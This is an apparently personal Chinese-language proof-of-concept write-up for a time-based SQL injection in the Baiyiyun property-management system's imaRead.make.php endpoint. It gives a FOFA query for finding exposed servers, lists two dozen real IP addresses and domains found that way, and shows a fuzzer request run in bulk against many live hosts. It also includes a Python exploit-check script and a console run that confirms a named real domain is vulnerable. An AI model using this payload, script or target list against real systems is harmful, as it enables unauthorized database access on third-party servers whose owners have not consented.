

# poc3 百易云imaRead.make存在SQL注入

fofa: body="不要着急，点此"

Fofa\_Viewer v1.1.11 By f1ashine@WgpSec

帮助配置项目规则

查询条件body="不要着急，点此"查询

导出当前查询的所有数据

排除干扰全部Fid标题证书

选项body="不要着急，点此"X

序号	HOST	标题	IP	端口	域名	协议	证书绑定的域名	Server指纹
1	112.74.83.48		112.74.83.48	80		http		Apache/2.4.18 (Win64) OpenSSL/1.0.1f PHP/5.6.19
2	14.29.239.225		14.29.239.225	80		http		Apache/2.4.41 (Win64) PHP/5.6.40
3	61.142.35.11		61.142.35.11	80		http		nginx
4	121.37.98.196		121.37.98.196	80		http		Apache/2.4.18 (Win64) PHP/5.6.19
5	113.98.243.27:6088		113.98.243.27	6088		http		
6	36.137.87.243		36.137.87.243	80		http		nginx
7	183.62.101.178		183.62.101.178	80		http		Apache/2.4.41 (Win64) PHP/5.6.40
8	8.134.10.198		8.134.10.198	80		http		Apache/2.4.41 (Win64) PHP/5.6.40
9	120.79.16.237		120.79.16.237	80		http		Apache/2.4.41 (Win64) PHP/5.6.40
10	https://112.74.83.48		112.74.83.48	443		https		Apache/2.4.18 (Win64) OpenSSL/1.0.1f PHP/5.6.19
11	61.169.16.198		61.169.16.198	80		http		Apache/2.4.41 (Win64) PHP/5.6.40
12	8.142.100.161		8.142.100.161	80		http		Apache/2.4.18 (Win64) OpenSSL/1.0.1f PHP/5.6.19
13	14.18.126.32		14.18.126.32	80		http		Apache/2.4.41 (Win64) PHP/5.6.40
14	120.76.251.27		120.76.251.27	80		http		Apache/2.4.18 (Win64) PHP/5.6.19
15	https://47.106.167.89		47.106.167.89	443		https		nginx
16	120.24.179.91		120.24.179.91	80		http		Microsoft-IIS/7.5
17	47.106.88.139		47.106.88.139	80		http		Apache/2.4.41 (Win64) PHP/5.6.40
18	https://vip.cfuturereab.com		47.106.167.89	443	cfuturereab.com	https		nginx
19	vip.cfuturereab.com		47.106.167.89	80	cfuturereab.com	http		nginx
20	https://47.106.167.89:8190		47.106.167.89	8190		https		nginx
21	61.142.35.11:8092		61.142.35.11	8092		http		nginx
22	180.141.158.82		180.141.158.82	80		http		Apache/2.4.18 (Win64) PHP/5.6.19
23	220.250.29.67		220.250.29.67	80		http		Apache/2.4.18 (Win64) PHP/7.0.4
24	8.155.30.208:139		8.155.30.208	139		http		

当前查询条件查询到 135 条，当前已加载 135 条

10.22poc1-本地模式 RPS 0 CPU 13% 127.0.0.1 55127

渗透测试 安全工具 插件 反连 数据库 导入来源 Codec Payload Yak Runner 记事本

MITM Fuzzer 数据对比 fuzztag 解码 编码 数据对比 fuzztag

强制 HTTPS HTTP配置 真实Host 设置代理 禁用系统代理 前端渲染数量 响应体长度限制 SNI配置 请求包配置 并发配置 禁用连接池 重发发包 并发线程 随机延迟 重试配置

发送请求 Alt+Enter 强制 HTTPS 历史 重发请求

Request

```

1 GET /adminx/imaRead.make.php?act=make&ima_type=turnover&building_code=imaShare&
fee_month=2025-05&project_id=1320AND%20(SELECT%201337%20FROM%20(SELECT(SLEEP
(6)))xxxx) HTTP/1.1
2 Host : {{file:line(0:\Yakit\Yakit\UI\Yakit-projects\temp\1023181487.txt)}}
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/103.0.5060.66 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9

```

请求 42 失败 93 并发/失败 请输入关键词搜索 仅匹配 提取响应数据 导出数据

请求	Method	状态	响应大小	延迟(ms)	Payloads	操作
98	GET	404	548	66	k3.ggdizgy.cn	
99	GET	404	548	85	okd.ggdizgy.cn	
109	GET	404	9	660	43.135.146.194:45003	
111	GET	200	71	6237	yg.baiyishequ.com	
113	GET	403	105	67	zgy.hubeibest.com.cn	
114	GET	403	105	63	zgy.hubeibest.com.cn	
115	GET	404	312	29	139.9.121.16	
116	GET	403	76	98	www.hongxianghui0928.c	
132	GET	200	71	10938	ets.baiyishequ.com	

快速预览 请求 导出 提取数据 美化 HEX 渲染 编码 解码

```

1 HTTP/1.1 200 OK
2 Content-Type: text/html; charset=utf-8
3 Server: Microsoft-IIS/10.0
4 X-Powered-By: PHP/5.6.34
5 Date: Wed, 22-Oct-2025 14:33:16 GMT
6 Content-Length: 71
7
8 <script>alert("生成成功.");parent.location.reload();</script>

```

```

# fofa:body="不要着急，点此"
import argparse,sys,requests
import urllib3
import warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
    test = """
    BYY Rmake SQL
    """
    author = 'WXL'

    print(test)
def main():
    banner()
    parse = argparse.ArgumentParser(description="百易云imaRead.make 存在SQL注入")

    parse.add_argument('-u', '--url', dest='url', type=str, help='please input your link')
    parse.add_argument('-f', '--file', dest='file', type=str, help='please input your file')

    args = parse.parse_args()

    if args.url and not args.file:
        poc(args.url)
    elif args.file and not args.url:
        pass
    else:
        print(f"Usage python {sys.argv[0]} -h")

def poc(target):
    link = "/adminx/imaRead.make.php?act=make&ima_type=turnover&building_code=imaShare&fee_month=2025-05&project_id=1"
    payload = "%20AND%20(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))xxxx)"
    headers = {
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }
    res1 = requests.get(url=target, headers=headers, verify=False, timeout=5)
    print(res1)
    if res1.status_code == 200:
        res2 = requests.post(url=target+link+payload, headers=headers, verify=False, timeout=7)
        res2_content = res2.text
        print(res2_content)
        if res2.elapsed.total_seconds() >= 6:
            print(f"[+]该站点{target}存在延时注入")
if __name__ == "__main__":
    main()

```

```
PS D:\Vscode\Python_code> python3 weekendwork1.py -u http://yg.baiyishequ.com
```

# BYY\_iR.make\_SQLi

author = WXL

<Response [200]>

PHP Deprecated: Automatically populating \$HTTP\_RAW\_POST\_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always\_populate\_raw\_post\_data' to '-1' in php.ini and use the php://input stream instead. in Unknown on line 0

[+]该站点<http://yg.baiyishequ.com>存在延时注入

```
PS D:\Vscode\Python_code>
```